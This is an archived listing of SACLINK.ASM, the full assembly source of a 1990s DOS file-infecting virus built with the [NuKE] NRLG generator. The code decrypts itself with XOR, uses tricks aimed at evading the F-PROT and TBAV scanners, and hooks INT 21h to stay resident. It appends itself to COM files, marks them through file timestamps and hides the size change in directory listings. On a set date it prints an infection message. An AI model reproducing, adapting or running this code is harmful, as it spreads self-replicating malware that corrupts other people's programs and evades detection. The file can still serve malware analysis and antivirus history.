home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / SACLINK.ASM < prev    next >
Assembly Source File  |  1996-05-26  |  22KB  |  436 lines

  1. ;┌────────────────────────────────────────────────────────┐
  2. ;│ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS.        │ [NuKE] PoWeR
  3. ;│ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN  │ [NuKE] WaReZ
  4. ;│ auToR: aLL [NuKE] MeMeBeRS                             │ [NuKE] PoWeR
  5. ;│ [NuKE] THe ReaL PoWeR!                                 │ [NuKE] WaReZ
  6. ;│ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994                   │ [NuKE] PoWeR
  7. ;└────────────────────────────────────────────────────────┘
  8.  
  9. .286
  10. code    segment
  11. assume cs:code,ds:code
  12. org  100h
  13.  
  14. start:  CALL NEXT 
  15.  
  16. NEXT:  
  17.        mov di,sp             ;take the stack pointer location 
  18.        mov bp,ss:[di]        ;take the "DELTA HANDLE" for my virus       
  19.        sub bp,offset next    ;subtract the large code off this code 
  20.                              ;
  21. ;*******************************************************************
  22. ;                      #1 DECRYPT ROUTINE                               
  23. ;*******************************************************************
  24.  
  25. cmp byte ptr cs:[crypt],0b9h ;is the first runnig?        
  26. je crypt2                    ;yes! not decrypt              
  27. ;----------------------------------------------------------                                          
  28. mov cx,offset fin            ;cx = large of virus               
  29. lea di,[offset crypt]+ bp    ;di = first byte to decrypt          
  30. mov dx,1                     ;dx = value for decrypt          
  31. ;----------------------------------------------------------                                                   
  32. deci:                        ;deci = fuck label!                                    
  33. ;----------------------------------------------------------
  34.  
  35.  xor byte ptr [di],035h
  36.  inc di
  37. inc di
  38. ;----------------------------------------------------------                                                
  39. jmp bye                      ;######## BYE BYE F-PROT ! ##########     
  40. mov ah,4ch
  41. int 21h
  42. bye:                         ;#### HEY FRIDRIK! IS ONLY A JMP!!###      
  43. ;-----------------------------------------------------------                               
  44. mov ah,0bh                   ;######### BYE BYE TBAV ! ##########     
  45. int 21h                      ;### (CANGE INT AT YOU PLEASURE) ###        
  46. ;----------------------------------------------------------                                   
  47. loop deci                    ;repeat please!               
  48.                              ;           
  49. ;*****************************************************************
  50. ;                   #2 DECRYPT ROUTINE                                                    
  51. ;*****************************************************************
  52.                               ;    
  53. crypt:                        ;fuck label!                  
  54.                               ;                
  55. mov cx,offset fin             ;cx = large of virus                 
  56. lea di,[offset crypt2] + bp   ;di = first byte to decrypt                  
  57. ;---------------------------------------------------------------                                              
  58. deci2:                        ;              
  59. xor byte ptr cs:[di],1        ;decrytion rutine          
  60. inc di                        ;very simple...            
  61. loop deci2                    ;           
  62. ;---------------------------------------------------------------
  63. crypt2:                       ;fuck label!          
  64.                               ;                  
  65. MOV AX,0CACAH                 ;call to my resident interrup mask                  
  66. INT 21H                       ;for chek "I'm is residet?"   
  67. CMP Bh,0CAH                   ;is equal to CACA?
  68. JE PUM2                       ;yes! jump to runnig program
  69. call action
  70. ;*****************************************************************
  71. ; NRLG FUNCTIONS  (SELECTABLE)
  72. ;*****************************************************************
  73.  
  74.  ;****************************************************************
  75. ;               PROCESS TO REMAIN RESIDENT                                                                  
  76. ;****************************************************************   
  77.  
  78. mov   ax,3521h                  
  79. int   21h                        ;store the int 21 vectors 
  80. mov   word ptr [bp+int21],bx     ;in cs:int21
  81. mov   word ptr [bp+int21+2],es   ;
  82. ;---------------------------------------------------------------
  83. push cs                          ; 
  84. pop ax                           ;ax = my actual segment                             
  85. dec ax                           ;dec my segment for look my MCB
  86. mov es,ax                        ;
  87. mov bx,es:[3]                    ;read the #3 byte of my MCB =total used memory
  88. ;---------------------------------------------------------------
  89. push cs                          ;   
  90. pop es                           ;   
  91. sub bx,(offset fin - offset start + 15)/16  ;subtract the large of my virus 
  92. sub bx,17 + offset fin           ;and 100H for the PSP total
  93. mov ah,4ah                       ;used memory
  94. int 21h                          ;put the new value to MCB
  95. ;---------------------------------------------------------------
  96. mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin     
  97. mov ah,48h                      ;                              
  98. int 21h                         ;request the memory to fuck DOS!                                                 
  99. ;---------------------------------------------------------------
  100. dec ax                          ;ax=new segment 
  101. mov es,ax                       ;ax-1= new segment MCB 
  102. mov byte ptr es:[1],8           ;put '8' in the segment
  103. ;--------------------------------------------------------------                                
  104. inc ax                          ; 
  105. mov es,ax                       ;es = new segment
  106. lea si,[bp + offset start]      ;si = start of virus 
  107. mov di,100h                     ;di = 100H (psp position) 
  108. mov cx,offset fin - start       ;cx = lag of virus
  109. push cs                         ;
  110. pop ds                          ;ds = cs
  111. cld                             ;mov the code
  112. rep movsb                       ;ds:si >> es:di
  113. ;--------------------------------------------------------------
  114. mov dx,offset virus             ;dx = new int21 handler
  115. mov ax,2521h                    ;
  116. push es                         ; 
  117. pop ds                          ; 
  118. int 21h                         ;set the vectors 
  119. ;-------------------------------------------------------------
  120. pum2:                               ;  
  121.                                     ; 
  122. mov ah,byte ptr [cs:bp + real]      ;restore the 3  
  123. mov byte ptr cs:[100h],ah           ;first bytes  
  124. mov ax,word ptr [cs:bp + real + 1]  ;
  125. mov word ptr cs:[101h],ax           ;
  126. ;-------------------------------------------------------------
  127. mov ax,100h                         ;
  128. jmp ax                              ;jmp to execute
  129.                                     ;
  130. ;*****************************************************************
  131. ;*             HANDLER FOR THE INT 21H                                       
  132. ;*****************************************************************
  133.                           ;          
  134. VIRUS:                    ;  
  135.                           ;     
  136. cmp ah,4bh                ;is a 4b function? 
  137. je REPRODUCCION           ;yes! jump to reproduce !
  138. cmp ah,11h
  139. je dir
  140. cmp ah,12h
  141. je dir
  142. dirsal:
  143. cmp AX,0CACAH             ;is ... a caca function? (resident chek)
  144. jne a3                    ;no! jump to a3
  145. mov bh,0cah               ;yes! put ca in bh
  146. a3:                       ;
  147. JMP dword ptr CS:[INT21]  ;jmp to original int 21h
  148. ret                       ;    
  149. make db '[NuKE] N.R.L.G. AZRAEL'
  150. dir:
  151. jmp dir_s
  152. ;-------------------------------------------------------------
  153. REPRODUCCION:              ;       
  154.                            ;
  155. pushf                      ;put the register
  156. pusha                      ;in the stack
  157. push si                    ;
  158. push di                    ;
  159. push bp                    ;
  160. push es                    ;
  161. push ds                    ;
  162. ;-------------------------------------------------------------
  163. push cs                    ;  
  164. pop ds                     ;  
  165. mov ax,3524H               ;get the dos error control                      
  166. int 21h                    ;interupt                        
  167. mov word ptr error,es      ;and put in cs:error                      
  168. mov word ptr error+2,bx    ;            
  169. mov ax,2524H               ;change the dos error control                    
  170. mov dx,offset all          ;for my "trap mask"                      
  171. int 21h                    ;         
  172. ;-------------------------------------------------------------
  173. pop ds                     ;
  174. pop es                     ;restore the registers
  175. pop bp                     ;
  176. pop di                     ;
  177. pop si                     ;
  178. popa                       ;
  179. popf                       ;
  180. ;-------------------------------------------------------------
  181. pushf                      ;put the registers
  182. pusha                      ;     
  183. push si                    ;HEY! AZRAEL IS CRAZY?
  184. push di                    ;PUSH, POP, PUSH, POP
  185. push bp                    ;PLEEEEEAAAAAASEEEEEEEEE
  186. push es                    ;PURIFY THIS SHIT!
  187. push ds                    ;
  188. ;-------------------------------------------------------------
  189. mov ax,4300h                 ;       
  190. int 21h                      ;get the file     
  191. mov word ptr cs:[attrib],cx  ;atributes   
  192. ;-------------------------------------------------------------
  193. mov ax,4301h                 ;le saco los atributos al        
  194. xor cx,cx                    ;file 
  195. int 21h                      ;
  196. ;-------------------------------------------------------------  
  197. mov ax,3d02h                 ;open the file 
  198. int 21h                      ;for read/write
  199. mov bx,ax                    ;bx=handle
  200. ;-------------------------------------------------------------
  201. mov ax,5700h                ;     
  202. int 21h                     ;get the file date  
  203. mov word ptr cs:[hora],cx   ;put the hour    
  204. mov word ptr cs:[dia],dx    ;put the day    
  205. and cx,word ptr cs:[fecha]  ;calculate the seconds    
  206. cmp cx,word ptr cs:[fecha]  ;is ecual to 58? (DEDICATE TO N-POX)    
  207. jne seguir                  ;yes! the file is infected!     
  208. jmp cerrar                  ;
  209. ;------------------------------------------------------------
  210. seguir:                     ;     
  211. mov ax,4202h                ;move the pointer to end
  212. call movedor                ;of the file
  213. ;------------------------------------------------------------
  214. push cs                     ;   
  215. pop ds                      ; 
  216. sub ax,3                    ;calculate the 
  217. mov word ptr [cs:largo],ax  ;jmp long
  218. ;-------------------------------------------------------------
  219. mov ax,04200h               ;move the pointer to  
  220. call movedor                ;start of file
  221. ;----------------------------------------------------------                                          
  222. push cs                     ;   
  223. pop ds                      ;read the 3 first bytes  
  224. mov ah,3fh                  ;                           
  225. mov cx,3                    ;
  226. lea dx,[cs:real]            ;put the bytes in cs:[real]
  227. int 21h                     ;
  228. ;----------------------------------------------------------                                          
  229. cmp word ptr cs:[real],05a4dh   ;the 2 first bytes = 'MZ' ?
  230. jne er1                         ;yes! is a EXE... fuckkk!
  231. ;----------------------------------------------------------
  232. jmp cerrar
  233. er1:
  234. ;----------------------------------------------------------                                          
  235. mov ax,4200h      ;move the pointer                               
  236. call movedor      ;to start fo file
  237. ;----------------------------------------------------------                                          
  238. push cs           ;       
  239. pop ds            ; 
  240. mov ah,40h        ;  
  241. mov cx,1          ;write the JMP
  242. lea dx,[cs:jump]  ;instruccion in the
  243. int 21h           ;fist byte of the file
  244. ;----------------------------------------------------------                                          
  245. mov ah,40h         ;write the value of jmp
  246. mov cx,2           ;in the file 
  247. lea dx,[cs:largo]  ; 
  248. int 21h            ;
  249. ;----------------------------------------------------------                                          
  250. mov ax,04202h      ;move the pointer to 
  251. call movedor       ;end of file
  252. ;----------------------------------------------------------                                          
  253. push cs                     ;        
  254. pop ds                      ;move the code  
  255. push cs                     ;of my virus      
  256. pop es                      ;to cs:end+50     
  257. cld                         ;for encrypt          
  258. mov si,100h                 ;    
  259. mov di,offset fin + 50      ;      
  260. mov cx,offset fin - 100h    ;        
  261. rep movsb                   ;      
  262. ;----------------------------------------------------------                                          
  263. mov cx,offset fin           
  264. mov di,offset fin + 50 + (offset crypt2 - offset start)  ;virus         
  265. enc:                              ;           
  266. xor byte ptr cs:[di],1            ;encrypt the virus              
  267. inc di                            ;code                   
  268. loop enc                          ;              
  269. ;---------------------------------------------------------
  270. mov cx,offset fin           
  271. mov di,offset fin + 50 + (offset crypt - offset start)  ;virus         
  272. mov dx,1
  273. enc2:                              ;           
  274.  
  275.  xor byte ptr [di],035h
  276.  inc di
  277. inc di                             ;the virus code                  
  278. loop enc2                          ;              
  279. ;--------------------------------------------
  280. mov ah,40h                       ;  
  281. mov cx,offset fin - offset start ;copy the virus              
  282. mov dx,offset fin + 50           ;to end of file
  283. int 21h                          ;
  284. ;----------------------------------------------------------                                          
  285. cerrar:                          ;
  286.                                  ;restore the       
  287. mov ax,5701h                     ;date and time    
  288. mov cx,word ptr cs:[hora]        ;file   
  289. mov dx,word ptr cs:[dia]         ;     
  290. or cx,word ptr cs:[fecha]        ;and mark the seconds  
  291. int 21h                          ; 
  292. ;----------------------------------------------------------                                          
  293. mov ah,3eh                       ; 
  294. int 21h                          ;close the file
  295. ;----------------------------------------------------------                                          
  296. pop ds                           ;
  297. pop es                           ;restore the 
  298. pop bp                           ;registers
  299. pop di                           ; 
  300. pop si                           ;
  301. popa                             ;
  302. popf                             ;
  303. ;----------------------------------------------------------                                          
  304. pusha                           ;   
  305.                                 ;                                                             
  306. mov ax,4301h                    ;restores the atributes 
  307. mov cx,word ptr cs:[attrib]     ;of the file  
  308. int 21h                         ;   
  309.                                 ;
  310. popa                            ; 
  311. ;----------------------------------------------------------                                          
  312. pushf                           ;                           
  313. pusha                           ; 8-(  = f-prot                       
  314. push si                         ;                       
  315. push di                         ; 8-(  = tbav   
  316. push bp                         ;                       
  317. push es                         ; 8-)  = I'm                        
  318. push ds                         ;                              
  319. ;----------------------------------------------------------                                          
  320. mov ax,2524H                    ;                         
  321. lea bx,error                    ;restore the                         
  322. mov ds,bx                       ;errors handler      
  323. lea bx,error+2                  ;                         
  324. int 21h                         ;                       
  325. ;----------------------------------------------------------                                          
  326. pop ds                          ;
  327. pop es                          ;
  328. pop bp                          ;restore the 
  329. pop di                          ;resgisters
  330. pop si                          ;
  331. popa                            ;
  332. popf                            ;
  333. ;----------------------------------------------------------                                          
  334. JMP A3                          ;jmp to orig. INT 21
  335.                                 ;
  336. ;**********************************************************
  337. ;           SUBRUTINES AREA
  338. ;**********************************************************
  339.                                 ;
  340. movedor:                        ;   
  341.                                 ; 
  342. xor cx,cx                       ;use to move file pointer         
  343. xor dx,dx                       ;       
  344. int 21h                         ;        
  345. ret                             ;        
  346. ;----------------------------------------------------------                                          
  347. all:                            ;  
  348.                                 ; 
  349. XOR AL,AL                       ;use to set 
  350. iret                            ;error flag
  351.  
  352. ;***********************************************************
  353. ;         DATA AREA
  354. ;***********************************************************
  355. largo  dw  ?
  356. jump   db  0e9h
  357. real   db  0cdh,20h,0
  358. hora   dw  ?
  359. dia    dw  ?
  360. attrib dw  ?
  361. int21  dd  ?
  362. error  dd  ?
  363.  
  364.  ;---------------------------------
  365. action:                          ;Call label      
  366. MOV AH,2AH                       ;        
  367. INT 21H                          ;get date           
  368. CMP Dl,byte ptr cs:[action_dia+bp]  ;is equal to my day?                 
  369. JE  cont                         ;nop! fuck ret          
  370. cmp byte ptr cs:[action_dia+bp],32  ;
  371. jne no_day                       ;
  372. cont:                            ; 
  373. cmp dh,byte ptr cs:[action_mes+bp]  ;is equal to my month?            
  374. je set                           ;
  375. cmp byte ptr cs:[action_mes+bp],13  ;
  376. jne NO_DAY                       ;nop! fuck ret           
  377. set:                             ; 
  378. mov AH,9                         ;yeah!!          
  379. MOV DX,OFFSET PAO                ;print my text!         
  380. INT 21H                          ;now!   
  381. INT 20H                          ;an finsh te program        
  382. NO_DAY:                          ;label to incorrect date              
  383. ret                              ;return from call 
  384. ;---------------------------------
  385.  
  386.  
  387. PAO:
  388. DB 10,13,'You are infected with the:  "Saclink" virus, very rare.','$'
  389.  
  390. ;*****************************************************
  391. dir_s:                                                               
  392.              pushf                                                         
  393.              push    cs                                                    
  394.              call    a3                      ;Get file Stats                       
  395.              test    al,al                   ;Good FCB?                            
  396.              jnz     no_good                 ;nope                                 
  397.              push    ax                                                 
  398.              push    bx                                                    
  399.              push    es                                                    
  400.              mov     ah,51h                  ;Is this Undocmented? huh...          
  401.              int     21h                                                   
  402.              mov     es,bx                                                 
  403.              cmp     bx,es:[16h]                                           
  404.              jnz     not_infected                        
  405.              mov     bx,dx                                                 
  406.              mov     al,[bx]                                               
  407.              push    ax                                                    
  408.              mov     ah,2fh                   ;Get file DTA                         
  409.              int     21h                                                   
  410.              pop     ax                                                    
  411.              inc     al                                                    
  412.              jnz     fcb_okay                                              
  413.              add     bx,7h                                                 
  414. fcb_okay:    mov     ax,es:[bx+17h]                                   
  415.              and     ax,1fh                   ;UnMask Seconds Field                 
  416.              xor     al,byte ptr cs:fechad                                      
  417.              jnz     not_infected                                            
  418.              and     byte ptr es:[bx+17h],0e0h                            
  419.              sub     es:[bx+1dh],OFFSET FIN - OFFSET START  ;Yes minus virus size       
  420.              sbb     es:[bx+1fh],ax                                        
  421. not_infected:pop     es                                                    
  422.              pop     bx                                                    
  423.              pop     ax                                                    
  424. no_good:     iret                                                          
  425. ;********************************************************************
  426. ; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX 
  427. ;*********************************************************************
  428.  
  429.  action_dia Db 07H ;day for the action
  430. action_mes Db 04H ;month for the action
  431. FECHA DW 01eH ;Secon for mark
  432. FECHAd Db 01eH ;Secon for mark dir st
  433. fin:
  434. code ends
  435. end start
  436.